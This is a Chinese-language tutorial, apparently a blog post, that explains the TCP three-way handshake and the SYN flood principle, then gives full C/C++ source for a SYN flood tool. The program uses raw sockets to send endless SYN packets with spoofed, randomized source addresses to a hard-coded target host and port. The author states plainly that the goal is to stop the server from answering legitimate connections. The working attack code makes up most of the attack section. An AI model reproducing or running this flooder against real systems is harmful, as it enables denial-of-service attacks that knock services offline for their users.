在写代码之前我们需要现来理解下TCP/IP的三次握手以及TCP/IP的包头信息,由此我们可以了解SYN洪水攻击的原理。
1.TCP/IP三次握手及SYN攻击原理
TCP是主机对主机层的传输控制协议,提供可靠的连接服务,采用三次握手确认建立一个连接:
位码即tcp标志位,有6种标示:SYN(synchronous建立联机) ACK(acknowledgement 确认) PSH(push传送) FIN(finish结束) RST(reset重置) URG(urgent紧急)
Sequence number(顺序号码) Acknowledge number(确认号码)
第一次握手:主机A发送位码为syn=1,随机产生seq number=1234567的数据包到服务器,主机B由SYN=1知道,A要求建立联机;
第二次握手:主机B收到请求后要确认联机信息,向A发送ack number=(主机A的seq+1),syn=1,ack=1,随机产生seq=7654321的包
第三次握手:主机A收到后检查ack number是否正确,即第一次发送的seq number+1,以及位码ack是否为1,若正确,主机A会再发送ack number=(主机B的seq+1),ack=1,主机B收到后确认seq值与ack=1则连接建立成功。
完成三次握手,主机A与主机B开始传送数据。
在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。 第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认; 第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器 进入SYN_RECV状态; 第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入 ESTABLISHED状态,完成三次握手。 完成三次握手,客户端与服务器开始传送数据.
实例:
IP 192.168.1.116.3337 > 192.168.1.123.7788: S 3626544836:3626544836 IP 192.168.1.123.7788 > 192.168.1.116.3337: S 1739326486:1739326486 ack 3626544837 IP 192.168.1.116.3337 > 192.168.1.123.7788: ack 1739326487,ack 1
第一次握手:192.168.1.116发送位码syn=1,随机产生seq number=3626544836的数据包到192.168.1.123,192.168.1.123由SYN=1知道192.168.1.116要求建立联机;
第二次握手:192.168.1.123收到请求后要确认联机信息,向192.168.1.116发送ack number=3626544837,syn=1,ack=1,随机产生seq=1739326486的包;
第三次握手:192.168.1.116收到后检查ack number是否正确,即第一次发送的seq number+1,以及位码ack是否为1,若正确,192.168.1.116会再发送ack number=1739326487,ack=1,192.168.1.123收到后确认seq=seq+1,ack=1则连接建立成功。
如果想要进行对服务器的SYN攻击,我们要做的就是发送大量的SYN=1并且伪造了源IP的TCP/IP包,服务器接受到连接请求后会发送上面第二次握手说到的syn确认包并进入SYN_RECV状态,而我们此时不对这些确认包进行处理,服务器则要花费一定时间等待由此会使正常的连接不被响应,达到我们的攻击目的。
2.TCP/IP报头分析
TCP报头结构为:
源端口(16)
|
目的端口(16)
|
序列号(32)
|
确认号(32)
|
TCP偏移量(4)
|
保留(6)
|
标志(6)
|
窗口(16)
|
校验和(16)
|
紧急(16)
|
选项(0或32)
|
数据(可变)
|
以下代码是UNIX下ip报头的结构体定义
1 struct iphdr 2 { 3 #if __BYTE_ORDER == __LITTLE_ENDIAN 4 unsigned int ihl:4; 5 unsigned int version:4; 6 #elif __BYTE_ORDER == __BIG_ENDIAN 7 unsigned int version:4; 8 unsigned int ihl:4; 9 #else 10 # error "Please fix <bits/endian.h>" 11 #endif 12 u_int8_t tos; 13 u_int16_t tot_len; 14 u_int16_t id; 15 u_int16_t frag_off; 16 u_int8_t ttl; 17 u_int8_t protocol; 18 u_int16_t check; 19 u_int32_t saddr; 20 u_int32_t daddr; 21 /*The options start here. */ 22 };
以下代码是UNIX下TCP报头的定义
struct tcphdr { u_int16_t th_sport; /* source port */ u_int16_t th_dport; /* destination port */ tcp_seq th_seq; /* sequence number */ tcp_seq th_ack; /* acknowledgement number */ # if __BYTE_ORDER == __LITTLE_ENDIAN u_int8_t th_x2:4; /* (unused) */ u_int8_t th_off:4; /* data offset */ # endif # if __BYTE_ORDER == __BIG_ENDIAN u_int8_t th_off:4; /* data offset */ u_int8_t th_x2:4; /* (unused) */ # endif u_int8_t th_flags; # define TH_FIN 0x01 # define TH_SYN 0x02 # define TH_RST 0x04 # define TH_PUSH 0x08 # define TH_ACK 0x10 # define TH_URG 0x20 u_int16_t th_win; /* window */ u_int16_t th_sum; /* checksum */ u_int16_t th_urp; /* urgent pointer */ };
我们需要做的是填充这些报头,其进行校验然后封装成包发向服务器。
4.psd.h
/** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * FAKE TCP HEADER * FOR CHECKSUM * * * * * * ** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **/
#ifndef PSD_H #define PSD_H
#include <stdint.h>
struct tcp_psd{ uint32_t sourceip;//源IP地址 uint32_t destip;//目的IP地址 int8_t mbz;//置空(0) int8_t ptcl;//协议类型(IPPROTO_TCP) uint16_t tcpl;//TCP头的长度(单位:字节) };
#endif
5.main.cpp
#include <assert.h> #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <arpa/inet.h> #include <unistd.h> #include <netinet/ip.h> #include <netinet/tcp.h>
#include <sstream>
#include "psd.h"
#define INVALID_SOCKET -1 #define SOCKET_ERROR -1 #define FAILED -1 #define SUCCESS 0;
typedef struct iphdr IP_HEADER; typedef struct tcphdr TCP_HEADER; typedef struct tcp_psd PSD_HEADER;
int BuildPacket(char *buffer, size_t size); //填写TCP包头 int SetPacket(char *buffer, uint32_t addrTarget, uint32_t addrFake, uint16_t id, uint16_t portTarget, uint16_t portFake, uint32_t isn); //修改TCP包头 uint16_t GetCheckSum(uint16_t *buffer, int size); //校验和函数 template <typename T> T GetRandom(); template <typename T> T stringTonum(char* str);
int main() { char *szTargetHost = "10.243.25.55"; char *szTargetPort = "8080"; const int BUFFERSIZE = 2048;
uint32_t daddr = inet_addr(szTargetHost); uint16_t dport = stringTonum<uint16_t>(szTargetPort);
if(daddr == INADDR_NONE || dport == 0) { return FAILED; }
dport = htons(dport);
srand(time(NULL));
int socketRaw = int(NULL);
socketRaw = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(socketRaw == INVALID_SOCKET) { perror("Create Socket Failed."); return FAILED; }
int flag = 1; if(setsockopt(socketRaw, IPPROTO_IP, IP_HDRINCL, (char*)&flag,sizeof(int)) == SOCKET_ERROR) { perror("set socket option IP_HDRINCL failed."); return FAILED; }
struct timeval tvTimeOut; tvTimeOut.tv_sec = 10; tvTimeOut.tv_usec = 0;
if(setsockopt(socketRaw, SOL_SOCKET, SO_SNDTIMEO, (char*)&tvTimeOut, sizeof(struct timeval)) == SOCKET_ERROR) { perror("set socket option IP_HDRINCL failed."); return FAILED; }
char buffer[BUFFERSIZE];
BuildPacket(buffer,sizeof(buffer));
uint32_t saddr; uint16_t sport; uint16_t ipid; uint32_t isn;
// uint32_t saddr; // uint16_t sport; // uint32_t ipid,isn;
struct sockaddr_in ra; ra.sin_family = AF_INET; ra.sin_port = dport; ra.sin_addr.s_addr = daddr;
socklen_t ralen = sizeof(struct sockaddr_in); int packetlen = sizeof(IP_HEADER) + sizeof(TCP_HEADER);
while(true) { for(int i=0; i< 10*1024; i++) { saddr = GetRandom<uint32_t>(); sport = GetRandom<uint16_t>();
ipid = GetRandom<uint32_t>(); isn = GetRandom<uint32_t>();
SetPacket(buffer,daddr,saddr,ipid,dport,sport,isn); sendto(socketRaw,buffer,packetlen,0,(struct sockaddr*)&ra,ralen); }
puts("1024.."); }
close(socketRaw);
return 0; }
int BuildPacket(char *buffer, size_t size) {
assert(buffer != NULL && size > sizeof(IP_HEADER) + sizeof(TCP_HEADER));
IP_HEADER *ipHeader; //PSD_HEADER psdHeader; TCP_HEADER *tcpHeader;
ipHeader = (IP_HEADER*)buffer;
ipHeader->tos = 0; ipHeader->ihl = (sizeof(IP_HEADER)/sizeof(int)); ipHeader->version = 4; ipHeader->tot_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); ipHeader->protocol = IPPROTO_TCP; ipHeader->ttl = 128; ipHeader->frag_off = 0;
tcpHeader = (TCP_HEADER*)(buffer + sizeof(IP_HEADER)); tcpHeader->ack_seq = 0; tcpHeader->doff = (sizeof(TCP_HEADER)/sizeof(int)); tcpHeader->res1 = 0; tcpHeader->res2 = 0; tcpHeader->urg = 0; tcpHeader->ack = 0; tcpHeader->psh = 0; tcpHeader->rst = 0; tcpHeader->syn = 1; tcpHeader->fin = 0; tcpHeader->window = htons(0x100); tcpHeader->urg_ptr = 0;
return SUCCESS; }
int SetPacket(char *buffer, uint32_t addrTarget, uint32_t addrFake, uint16_t id, uint16_t portTarget, uint16_t portFake, uint32_t isn) {
assert(buffer != NULL);
char buf[2048];
PSD_HEADER *psdHeader = (PSD_HEADER *)buf; TCP_HEADER *tcpHeader = (TCP_HEADER *)(buf + sizeof(PSD_HEADER));
memcpy(tcpHeader,buffer+sizeof(IP_HEADER),sizeof(TCP_HEADER));
psdHeader->mbz = 0; psdHeader->sourceip = addrFake; psdHeader->destip = addrTarget; psdHeader->ptcl = IPPROTO_TCP; psdHeader->tcpl = htons(sizeof(TCP_HEADER));
tcpHeader->source = portFake; tcpHeader->dest = portTarget; tcpHeader->seq = isn; tcpHeader->check = 0;
tcpHeader->check = GetCheckSum((uint16_t*)buf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER));
memcpy(buffer+sizeof(IP_HEADER),tcpHeader,sizeof(TCP_HEADER));
IP_HEADER *ipHeader = (IP_HEADER *)buffer; ipHeader->id = id; ipHeader->saddr = addrFake; ipHeader->daddr = addrTarget; ipHeader->check = 0;
ipHeader->check = GetCheckSum((uint16_t*)buffer,sizeof(IP_HEADER)+sizeof(TCP_HEADER));
return SUCCESS; }
uint16_t GetCheckSum(uint16_t *buffer, int size) { unsigned long cksum=0; while (size > 1) { cksum += *buffer++; size -= sizeof(uint16_t); } if (size) { cksum += *(uint8_t*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (uint16_t)(~cksum); }
template <typename T> T stringTonum(char* str) { T rslt = 0; std::stringstream ss(str); ss >> rslt ;
return rslt; }
template <typename T> T GetRandom() { uint32_t rslt = 0; rslt = rand();
switch(sizeof(T)) { case 4: //rslt = rslt & 0xFFFFFFFF; break; case 2: rslt = rslt & 0xFFFF; break; case 1: rslt = rslt & 0xFF; break; default: assert(false); break; }
return (T) rslt; }
|